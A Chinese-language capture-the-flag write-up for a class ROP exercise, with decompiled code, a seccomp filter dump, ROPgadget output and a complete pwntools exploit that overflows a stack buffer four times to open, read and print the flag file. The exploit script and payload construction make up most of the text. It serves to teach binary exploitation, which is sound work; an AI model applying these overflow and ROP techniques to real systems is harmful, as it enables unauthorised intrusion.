题目链接: https://tangzichengcc.github.io/2023/03/17/pwn入门-22-ucas课堂练习rop之orw/rop 
		课上的一个小练习,理论上应该不难的..但是卡了很久…因为基础不牢+菜
反汇编代码查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int  __cdecl __noreturn main (int  argc, const  char  **argv, const  char  **envp) {   int  v3;    v3 = -1 ;   install_seccomp(argc, argv, envp);   setvbuf(stdout , 0LL , 2 , 0LL );   setvbuf(stdin , 0LL , 2 , 0LL );   setvbuf(stderr , 0LL , 2 , 0LL );   puts ("Welcome to the Santa's gift!" );   puts ("your choice:" );   __isoc99_scanf("%d" , &v3);   if  ( v3 == 4919  )   {     vuln();   }   else    {     if  ( v3 != 9011  )       _exit(1 );     some_gifts();   }   _exit(0 ); } ssize_t  vuln () {   char  buf[256 ];    return  read(0 , buf, 0x150 uLL); } ssize_t  some_gifts () {   char  s[16 ];    int  fd;    fd = sys_open("./gifts.txt" , 0LL );   memset (s, 0 , 0x1000 uLL);   if  ( read(fd, s, 0x1000 uLL) < 0  )   {     puts ("read error" );     _exit(1 );   }   return  write(1 , s, 0x1000 uLL); } 
检查安全措施 		install_seccomp、
		看到这个函数就知道有seccomp保护措施,限制了一些系统调用的使用,于是使用工具进行检查,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@VM-24 -10 -ubuntu:/tmp# seccomp-tools dump ./rop   line  CODE  JT   JF      K =================================  0000 : 0x20  0x00  0x00  0x00000004   A = arch  0001 : 0x15  0x00  0x0c  0xc000003e   if  (A != ARCH_X86_64) goto  0014   0002 : 0x20  0x00  0x00  0x00000000   A = sys_number  0003 : 0x35  0x0a  0x00  0x40000000   if  (A >= 0x40000000 ) goto  0014   0004 : 0x15  0x08  0x00  0x00000002   if  (A == open) goto  0013   0005 : 0x15  0x07  0x00  0x00000101   if  (A == openat) goto  0013   0006 : 0x15  0x06  0x00  0x000001b5   if  (A == 0x1b5 ) goto  0013   0007 : 0x15  0x05  0x00  0x00000000   if  (A == read) goto  0013   0008 : 0x15  0x04  0x00  0x00000001   if  (A == write) goto  0013   0009 : 0x15  0x03  0x00  0x00000003   if  (A == close) goto  0013   0010 : 0x15  0x02  0x00  0x0000003c   if  (A == exit ) goto  0013   0011 : 0x15  0x01  0x00  0x000000e7   if  (A == exit_group) goto  0013   0012 : 0x06  0x00  0x00  0x00050005   return  ERRNO(5 )  0013 : 0x06  0x00  0x00  0x7fff0000   return  ALLOW  0014 : 0x06  0x00  0x00  0x00000000   return  KILL 
		能够看到只允许用open read write这几个,一般来说pwn题是要拿到权限的,但是根本目的是拿到flag,所以即便拿不到shell,也可以利用这几个函数调用来读取和打印flag
解题步骤 寻找gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 root@VM-24 -10 -ubuntu:/tmp# ROPgadget --binary rop  --only 'pop|ret'    Gadgets information ============================================================ 0x00000000004014fc  : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014fe  : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401500  : pop r14 ; pop r15 ; ret0x0000000000401502  : pop r15 ; ret0x00000000004014fb  : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014ff  : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040121d  : pop rbp ; ret0x0000000000401503  : pop rdi ; ret0x0000000000401501  : pop rsi ; pop r15 ; ret0x00000000004014fd  : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a  : ret0x0000000000401297  : ret 0x2be Unique gadgets found: 12  
		根据调用约定,rdi rsi rdx是函数的前三个参数,但是没有找到pop rdx的gadget. ret2csu方法里是可以间接修改rdx的,不过事实上,这道题不需要管第三个参数,具体原因还未知. 
布局函数 		这里有一个很重要的问题,就是二进制文件中不存在flag这四个字符,因为后面读取flag,需要用到这个字符串,所以需要先获取这四个字符. 获取之后利用传统的orw来进行打开,读取和写出flag.
open(’文件名‘,0,0)  
read(文件描述符,‘文件名’,读取大小)   read比较特殊, 第一个文件描述符 0标准输入(从用户输入获取值) 1 标准输出,2标准错误 345..就是文件描述符了,当第一个参数是0的时候,第二个参数就不是文件名了,而是要写入的内存地址
write(1,‘文件名’,写大小)
		所以分了四个步骤,如下
read(0,写入的内存地址,0x30)	
open(‘flag’,0,0)
read(3,‘flag’,0x30) 从打开的文件中读取
write(1,‘flag’,0x30) 标准输出
 
编写payload 		256溢出+8字节rbp,然后就是返回地址了,构造rop链,下面四行分别对应着上面的四步
		poprsi的话,没有单独的 ,只有 0x0000000000401501 : pop rsi ; pop r15 ; ret, 所以在它后面再加一个垃圾数据.上面说过,没有pop rdx,所以我们只需要控制前两个参数即可
1 2 3 4 payload = "a" *264  + p64(poprdi) + p64("0" ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr)  payload += p64(poprdi) +  p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr) payload += p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr) payload += p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr) 
		但是这里还有问题,就是payload的长度太长,溢出只有0x150 - 256 - 8  =72字节,是不够用的,所以这里需要再进行调整,有两个办法,一个是可以多次溢出,四步可以分四步来进行,每完成一步,再跳回到vul函数开头,重新溢出执行下一步,第二个办法是进行栈迁移,把栈移到更大的空间去
1 2 3 4 payload = b"a" *264  + p64(poprdi) + p64(0 ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload1 = b"a" *264 +p64(poprdi) +  p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr)+p64(vuladdr) payload2 = b"a" *264 +p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload3 = b"a" *264 +p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr)+p64(vuladdr) 
		分四次发送即可,每次在最后跳回vul函数开头
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *import  timesh = remote("xxx" ,xxx) context.log_level= "debug"  poprdi = 0x0000000000401503  poprsi = 0x0000000000401501  popr13 = 0x00000000004014fe  scanfaddr = 0x0000000000401451  bssaddr = 0x0000404100  + 0x100  readaddr = 0x000000401100  openaddr = 0x00000004012C9  writeaddr = 0x000000004010E0  start = 0x000401432  vuladdr = 0x0000000401384  payload = b"a" *264  + p64(poprdi) + p64(0 ) + p64(poprsi)+ p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload1 = b"a" *264 +p64(poprdi) +  p64(bssaddr) + p64(poprsi) + p64(0 )+p64(0 )+p64(openaddr)+p64(vuladdr) payload2 = b"a" *264 +p64(poprdi) + p64(3 ) + p64(poprsi) + p64(bssaddr) +p64(0 )+ p64(readaddr)+p64(vuladdr) payload3 = b"a" *264 +p64(poprdi) + p64(1 ) + p64(poprsi) + p64(bssaddr) +p64(0 ) +p64(writeaddr)+p64(vuladdr) sh.sendlineafter("choice:" ,str (4919 )) sh.sendline(payload) sh.send("flag" )  sh.sendline(payload1) sh.sendline(payload2) sh.sendline(payload3) sh.recv(1024 ) sh.interactive() 
细节注意 open write read函数选择 		一开始选的是 .text:0000000000401313 E8 B1 FF FF FF call sys_open ,这肯定是不对的,因为这里的话,控制流到了这里,执行完call没有ret会继续往下执行,就乱套了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text:000000000040130C                 lea     rdi, aGiftsTxt  ; "./gifts.txt" .text:0000000000401313                 call    sys_open .text:0000000000401318                 mov     [rbp+fd], eax .text:000000000040131B                 lea     rax, [rbp+s] .text:0000000000401322                 mov     edx, 1000h      ; n .text:0000000000401327                 mov     esi, 0          ; c .text:000000000040132C                 mov     rdi, rax        ; s .text:000000000040132F                 call    _memset .text:0000000000401334                 lea     rcx, [rbp+s] .text:000000000040133B                 mov     eax, [rbp+fd] .text:000000000040133E                 mov     edx, 1000h      ; nbytes .text:0000000000401343                 mov     rsi, rcx        ; buf .text:0000000000401346                 mov     edi, eax        ; fd .text:0000000000401348                 call    _read .text:000000000040134D                 test    rax, rax .text:0000000000401350                 jns     short loc_401368 .text:0000000000401352                 lea     rdi, aReadError ; "read error" .text:0000000000401359                 call    _puts .text:000000000040135E                 mov     edi, 1          ; status .text:0000000000401363                 call    __exit 
		应该调用plt这个,这个调用完之后会ret返回
1 2 3 4 5 .plt.sec:0000000000401100 _read           proc near               ; CODE XREF: some_gifts+59↓p .plt.sec:0000000000401100                                         ; vuln+23↓p .plt.sec:0000000000401100                 endbr64 .plt.sec:0000000000401104                 bnd jmp cs:off_404038 .plt.sec:0000000000401104 _read           endp 
send、sendline 		sh.send(“flag”) #  不能用sendline 会有\n  第一次read读取flag文件名的时候,不能用sendline,否则会有个回车,就不是正确的文件名了